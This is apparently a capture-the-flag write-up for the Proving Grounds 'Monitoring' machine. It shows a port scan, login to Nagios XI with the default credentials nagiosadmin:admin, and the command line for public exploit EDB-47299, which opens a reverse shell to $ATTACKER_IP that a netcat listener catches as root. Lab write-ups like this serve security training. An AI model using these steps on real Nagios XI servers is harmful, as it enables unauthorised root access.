# Monitoring Writeup - Proving Grounds

> Exploiting Nagios XI via authenticated RCE CVE-2019-15949, then escalating privileges using sudo rights to gain root on Linux.

- **URL:** https://hackindex.io/writeups/monitoring
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/monitoring-629/overview
- **Tags:** sql-injection, default-credentials, cve-2019-15949
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

The scan reveals six open TCP ports. The web server on ports 80 and 443 immediately identifies itself as Nagios XI. Port 5667 is tcpwrapped, 389 runs OpenLDAP, and 25 runs Postfix.

**TCP port scan**

```bash
scan_tcp_full $TARGET_IP
# PORT     STATE SERVICE    VERSION
# 22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
# 25/tcp   open  smtp       Postfix smtpd
# 80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
# |_http-title: Nagios XI
# 389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
# 443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
# |_http-title: Nagios XI
# 5667/tcp open  tcpwrapped
```

## Enumeration

The Nagios XI login page is reachable at `http://$TARGET_IP/nagiosxi/`. The default credential `nagiosadmin:admin` works and reveals version **5.6.0**.

**Check Nagios XI version via login**

```bash
curl -s http://$TARGET_IP/nagiosxi/login.php | grep -i version
# Nagios XI 5.6.0
```

Searching for public exploits against Nagios XI 5.6.x turns up several options. EDB-47299 covers authenticated RCE with root privilege escalation for versions up to 5.6.5 ,  a PHP script that uploads a malicious plugin through the admin panel and triggers it for a reverse shell.

**Search for Nagios XI exploits**

```bash
searchsploit nagios xi 5.6 --exclude='dos'
# Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation     | linux/webapps/46221.py
# Nagios XI 5.6.1 - SQL injection                                     | php/webapps/46910.txt
# Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution           | php/webapps/48640.txt
# Nagios XI 5.6.5 - Remote Code Execution / Root Privilege Escalation | php/webapps/47299.php
# Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE)        | multiple/webapps/52138.txt
```

## Initial Access

EDB-47299 is the right fit. The exploit authenticates, grabs a CSRF token, uploads a PHP reverse shell as a monitoring plugin via the admin panel, then triggers it. It handles everything in one pass ,  no manual steps needed.

Start a listener, then run the exploit:

**Run Nagios XI RCE exploit (EDB-47299)**

```bash
php 47299.php --host=$TARGET_IP --ssl=false --user=nagiosadmin --pass=admin --reverseip=$ATTACKER_IP --reverseport=$ATTACKER_PORT
# [+] Grabbing NSP from: http://192.168.152.136/nagiosxi/login.php
# [+] Extracted NSP - value: 860a6ac6e3d387f1507d5f8a4098bc16882b7d8301421e232c84d2ce71a58d63
# [+] Attempting to login...
# [+] Authentication success
# [+] Checking we have admin rights...
# [+] Admin access confirmed
# [+] Grabbing NSP from: http://192.168.152.136/nagiosxi/admin/monitoringplugins.php
# [+] Extracted NSP - value: c65b6ad42a10598ff4646244d75334a7bb4c90c3539d2a4155903d4f2bebd7c1
# [+] Uploading payload...
# [+] Payload uploaded
# [+] Triggering payload: if successful, a reverse shell will spawn
```

**Catch the shell**

```bash
nc -lvnp $ATTACKER_PORT
# connect to [192.168.45.177] from (UNKNOWN) [192.168.152.136] 43420
# bash: cannot set terminal process group (949): Inappropriate ioctl for device
# bash: no job control in this shell
# root@ubuntu:/home# whoami
# root
```

The shell lands as **root** directly. The exploit chains the plugin upload with a local privilege escalation built into the Nagios XI 5.6.x codebase, so no separate privesc step is needed.

Related

## References

- [EDB-47299 — Nagios XI 5.6.5 RCE / Root Privilege Escalation](https://www.exploit-db.com/exploits/47299) - Authenticated RCE + root privesc for Nagios XI up to 5.6.5 via plugin upload
- [Nagios XI — Official Product Page](https://www.nagios.com/products/nagios-xi/) - Vendor product page for Nagios XI